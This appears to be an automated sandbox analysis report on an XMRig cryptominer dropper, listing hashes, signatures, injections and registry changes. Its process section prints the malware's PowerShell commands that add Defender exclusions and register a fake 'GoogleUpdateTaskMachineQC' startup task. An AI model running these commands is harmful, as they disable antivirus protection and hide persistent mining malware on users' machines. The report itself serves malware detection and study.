Overview
overview
10Static
static
3grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs... K.exe
windows7-x64
10grhddhsGHs... K.exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10grhddhsGHs...1).exe
windows7-x64
10grhddhsGHs...1).exe
windows10-2004-x64
10grhddhsGHs...2).exe
windows7-x64
10grhddhsGHs...2).exe
windows10-2004-x64
10grhddhsGHs...3).exe
windows7-x64
10grhddhsGHs...3).exe
windows10-2004-x64
10grhddhsGHs...4).exe
windows7-x64
10grhddhsGHs...4).exe
windows10-2004-x64
10grhddhsGHs...5).exe
windows7-x64
10grhddhsGHs...5).exe
windows10-2004-x64
10grhddhsGHs...6).exe
windows7-x64
10grhddhsGHs...6).exe
windows10-2004-x64
10grhddhsGHs...7).exe
windows7-x64
10grhddhsGHs...7).exe
windows10-2004-x64
10grhddhsGHs...8).exe
windows7-x64
10grhddhsGHs...8).exe
windows10-2004-x64
10grhddhsGHs...9).exe
windows7-x64
10grhddhsGHs...9).exe
windows10-2004-x64
10grhddhsGHs...0).exe
windows7-x64
10grhddhsGHs...0).exe
windows10-2004-x64
10Resubmissions
11/02/2025, 16:33
250211-t2ztsstkey 1011/02/2025, 16:33
250211-t2zh2atkex 1011/02/2025, 16:33
250211-t2yxhatkew 1011/02/2025, 16:33
250211-t2nrjasqdk 1024/10/2024, 20:12
241024-yyvg5asemn 1024/10/2024, 20:11
241024-yygk9ssemk 1024/10/2024, 20:11
241024-yygahasemj 1024/10/2024, 20:11
241024-yyd55sselq 1024/10/2024, 20:08
241024-yw247asdqp 1024/10/2024, 20:08
241024-yw1lcssdqn 10Analysis
-
max time kernel
899s -
max time network
894s -
platform
windows10-2004_x64 -
resource
win10v2004-20250211-en -
resource tags
arch:x64arch:x86image:win10v2004-20250211-enlocale:en-usos:windows10-2004-x64system -
submitted
11/02/2025, 16:33
Static task
static1
Behavioral task
behavioral1
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (16).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral3
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win7-20241010-en
Behavioral task
behavioral4
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17) - K.exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral5
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win7-20240903-en
Behavioral task
behavioral6
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (17).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral7
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win7-20250207-en
Behavioral task
behavioral8
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (18).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral9
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win7-20240903-en
Behavioral task
behavioral10
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (19).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral11
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (20).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral13
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win7-20241010-en
Behavioral task
behavioral14
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral15
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win7-20240903-en
Behavioral task
behavioral16
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (22).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral17
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win7-20250207-en
Behavioral task
behavioral18
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (23).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral19
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win7-20241023-en
Behavioral task
behavioral20
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (24).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral21
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win7-20241023-en
Behavioral task
behavioral22
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (25).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral23
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win7-20240903-en
Behavioral task
behavioral24
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (26).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral25
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win7-20240903-en
Behavioral task
behavioral26
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (27).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral27
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win7-20241023-en
Behavioral task
behavioral28
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (28).exe
Resource
win10v2004-20250207-en
Behavioral task
behavioral29
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win7-20240729-en
Behavioral task
behavioral30
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (29).exe
Resource
win10v2004-20250211-en
Behavioral task
behavioral31
Sample
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (30).exe
Resource
win7-20240903-en
General
-
Target
grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
-
Size
2.0MB
-
MD5
a16a669a09bf158058b83e04e69fe38e
-
SHA1
f6c94763850d9e590d86057139e8895a7aacdeea
-
SHA256
cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
-
SHA512
658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
-
SSDEEP
49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
description pid Process procid_target PID 1920 created 3416 1920 qM5GMXBk6hJE6Y5e (21).exe 56 PID 1920 created 3416 1920 qM5GMXBk6hJE6Y5e (21).exe 56 PID 1920 created 3416 1920 qM5GMXBk6hJE6Y5e (21).exe 56 PID 1920 created 3416 1920 qM5GMXBk6hJE6Y5e (21).exe 56 PID 2096 created 3416 2096 updater.exe 56 PID 2096 created 3416 2096 updater.exe 56 PID 2096 created 3416 2096 updater.exe 56 PID 2072 created 3416 2072 conhost.exe 56 PID 2096 created 3416 2096 updater.exe 56 -
Xmrig family
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XMRig Miner payload 30 IoCs
resource yara_rule behavioral14/memory/3836-107-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-108-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-110-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-112-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-115-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-117-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-119-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-121-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-123-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-125-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-127-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-129-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-131-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-133-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-135-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-137-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-139-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-141-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-143-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-145-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-147-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-149-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-151-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-153-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-155-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-157-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-159-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-161-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-163-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig behavioral14/memory/3836-165-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp xmrig -
pid Process 2104 powershell.exe 4064 powershell.exe 4760 powershell.exe 3268 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 2096 updater.exe -
Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 2096 set thread context of 2072 2096 updater.exe 101 PID 2096 set thread context of 3836 2096 updater.exe 107 -
resource yara_rule behavioral14/memory/3836-103-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-107-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-108-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-110-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-112-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-115-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-117-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-119-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-121-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-123-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-125-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-127-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-129-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-131-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-133-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-135-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-137-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-139-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-141-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-143-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-145-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-147-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-149-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-151-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-153-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-155-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-157-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-159-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-161-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-163-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx behavioral14/memory/3836-165-0x00007FF7C4FD0000-0x00007FF7C57C4000-memory.dmp upx -
Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Chrome\updater.exe qM5GMXBk6hJE6Y5e (21).exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe -
System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MicrosoftEdgeUpdate.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MicrosoftEdgeUpdate.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 3504 WMIC.exe -
Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe -
Suspicious behavior: EnumeratesProcesses 38 IoCs
pid Process 1920 qM5GMXBk6hJE6Y5e (21).exe 1920 qM5GMXBk6hJE6Y5e (21).exe 4760 powershell.exe 4760 powershell.exe 1920 qM5GMXBk6hJE6Y5e (21).exe 1920 qM5GMXBk6hJE6Y5e (21).exe 2104 powershell.exe 2104 powershell.exe 1920 qM5GMXBk6hJE6Y5e (21).exe 1920 qM5GMXBk6hJE6Y5e (21).exe 1920 qM5GMXBk6hJE6Y5e (21).exe 1920 qM5GMXBk6hJE6Y5e (21).exe 3616 powershell.exe 3616 powershell.exe 2096 updater.exe 2096 updater.exe 3268 powershell.exe 3268 powershell.exe 2096 updater.exe 2096 updater.exe 4064 powershell.exe 4064 powershell.exe 2096 updater.exe 2096 updater.exe 2096 updater.exe 2096 updater.exe 2072 conhost.exe 2072 conhost.exe 2096 updater.exe 2096 updater.exe 3844 MicrosoftEdgeUpdate.exe 3844 MicrosoftEdgeUpdate.exe 3844 MicrosoftEdgeUpdate.exe 3844 MicrosoftEdgeUpdate.exe 4888 MicrosoftEdgeUpdate.exe 4888 MicrosoftEdgeUpdate.exe 4888 MicrosoftEdgeUpdate.exe 4888 MicrosoftEdgeUpdate.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4760 powershell.exe Token: SeDebugPrivilege 2104 powershell.exe Token: SeIncreaseQuotaPrivilege 2104 powershell.exe Token: SeSecurityPrivilege 2104 powershell.exe Token: SeTakeOwnershipPrivilege 2104 powershell.exe Token: SeLoadDriverPrivilege 2104 powershell.exe Token: SeSystemProfilePrivilege 2104 powershell.exe Token: SeSystemtimePrivilege 2104 powershell.exe Token: SeProfSingleProcessPrivilege 2104 powershell.exe Token: SeIncBasePriorityPrivilege 2104 powershell.exe Token: SeCreatePagefilePrivilege 2104 powershell.exe Token: SeBackupPrivilege 2104 powershell.exe Token: SeRestorePrivilege 2104 powershell.exe Token: SeShutdownPrivilege 2104 powershell.exe Token: SeDebugPrivilege 2104 powershell.exe Token: SeSystemEnvironmentPrivilege 2104 powershell.exe Token: SeRemoteShutdownPrivilege 2104 powershell.exe Token: SeUndockPrivilege 2104 powershell.exe Token: SeManageVolumePrivilege 2104 powershell.exe Token: 33 2104 powershell.exe Token: 34 2104 powershell.exe Token: 35 2104 powershell.exe Token: 36 2104 powershell.exe Token: SeIncreaseQuotaPrivilege 2104 powershell.exe Token: SeSecurityPrivilege 2104 powershell.exe Token: SeTakeOwnershipPrivilege 2104 powershell.exe Token: SeLoadDriverPrivilege 2104 powershell.exe Token: SeSystemProfilePrivilege 2104 powershell.exe Token: SeSystemtimePrivilege 2104 powershell.exe Token: SeProfSingleProcessPrivilege 2104 powershell.exe Token: SeIncBasePriorityPrivilege 2104 powershell.exe Token: SeCreatePagefilePrivilege 2104 powershell.exe Token: SeBackupPrivilege 2104 powershell.exe Token: SeRestorePrivilege 2104 powershell.exe Token: SeShutdownPrivilege 2104 powershell.exe Token: SeDebugPrivilege 2104 powershell.exe Token: SeSystemEnvironmentPrivilege 2104 powershell.exe Token: SeRemoteShutdownPrivilege 2104 powershell.exe Token: SeUndockPrivilege 2104 powershell.exe Token: SeManageVolumePrivilege 2104 powershell.exe Token: 33 2104 powershell.exe Token: 34 2104 powershell.exe Token: 35 2104 powershell.exe Token: 36 2104 powershell.exe Token: SeIncreaseQuotaPrivilege 2104 powershell.exe Token: SeSecurityPrivilege 2104 powershell.exe Token: SeTakeOwnershipPrivilege 2104 powershell.exe Token: SeLoadDriverPrivilege 2104 powershell.exe Token: SeSystemProfilePrivilege 2104 powershell.exe Token: SeSystemtimePrivilege 2104 powershell.exe Token: SeProfSingleProcessPrivilege 2104 powershell.exe Token: SeIncBasePriorityPrivilege 2104 powershell.exe Token: SeCreatePagefilePrivilege 2104 powershell.exe Token: SeBackupPrivilege 2104 powershell.exe Token: SeRestorePrivilege 2104 powershell.exe Token: SeShutdownPrivilege 2104 powershell.exe Token: SeDebugPrivilege 2104 powershell.exe Token: SeSystemEnvironmentPrivilege 2104 powershell.exe Token: SeRemoteShutdownPrivilege 2104 powershell.exe Token: SeUndockPrivilege 2104 powershell.exe Token: SeManageVolumePrivilege 2104 powershell.exe Token: 33 2104 powershell.exe Token: 34 2104 powershell.exe Token: 35 2104 powershell.exe -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 5000 wrote to memory of 3928 5000 cmd.exe 93 PID 5000 wrote to memory of 3928 5000 cmd.exe 93 PID 3616 wrote to memory of 3428 3616 powershell.exe 94 PID 3616 wrote to memory of 3428 3616 powershell.exe 94 PID 2096 wrote to memory of 2072 2096 updater.exe 101 PID 2016 wrote to memory of 3504 2016 cmd.exe 106 PID 2016 wrote to memory of 3504 2016 cmd.exe 106 PID 2096 wrote to memory of 3836 2096 updater.exe 107 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:3416
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C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (21).exe"C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (21).exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:1920
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4760
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2104
